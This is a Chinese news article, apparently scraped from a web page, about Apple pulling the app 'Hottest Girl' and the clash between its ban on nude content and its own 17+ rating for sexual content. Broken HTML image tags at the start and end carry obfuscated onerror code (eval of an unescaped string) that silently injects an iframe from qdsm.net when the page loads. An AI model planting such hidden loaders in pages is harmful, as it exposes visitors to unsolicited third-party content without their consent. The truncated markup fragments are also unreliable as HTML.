0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

，今天该软件又被移除，最初所有人都以为是被苹果移除的，但是该软件的开发者却自称是自己的操作。随后更多据称包含裸露图片的软件开始出现。而现在苹果又公开表态这类软件不允许进入苹果应用商店。但这又似乎与其自己推出评级系统自相矛盾。

希尔格勒称，所有说法都讲不通，现在他不确认苹果是否有人真正负责这件事情，或者可能是整个系统由一群人来管理，而在处理这类软件的方式上每个人有不同的想法。并且他们互相之间似乎没有进行很好的沟通。

今天早些时候苹果向CNN发表声明称：

“苹果不会散播包含不良内容的应用程序，诸如包含xx内容的应用。Hottest Girl在被批准和提交后，其开发者直接从他们的服务器上增加了不良内容。现在该开发者已被要求移除这些信息。它直接违反了iPhone开发者计划的规定。该软件已经不在应用商店中。”

但是，在应用商店页面上，该软件被明确标记为17+，并表示它包含“性内容或裸体。”这些话并不是开发者加上去的，而是苹果所为。

而且据许多开发者表示，在软件提交过程中，有一个地方是让用户指明是否包含裸体图片。

那么苹果为什么要移除该软件呢？可能是因为开发者前期不够诚实，但是软件页面中的警告又是从何而来？

而且据称在苹果应用商店中还有一些其它据称包含裸体图片的软件，其中有些甚至公然在软件名称宣称具有xx内容。然而苹果并没有拒绝它们。

因此，要么是苹果应用商店软件审查者的工作非常草率，要么是没有明确的规则来判断什么软件被允许。根据现在看到的情况，后者的可能性非常大。

如果苹果没有一个代表是否包含性内容的评级系统，或许是另外一种情况。但是事实它的确有。因此很明显它允许具有“性内容或裸体图片”的应用出现在应用商店中。但是根据它发表的声明，却又不允许这样。

在过去一年多中，苹果应用商店的准入过程基本上就是一个笑话。西格尔勒曾认为，现在iPhone 3.0系统中增加了父母控制功能，因此苹果应用商店可能会有所改进。但是现在看来，情况似乎看上去更糟糕了。

希尔格勒表示，他期待着来自苹果的进一步解释。（梧桐雨）

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">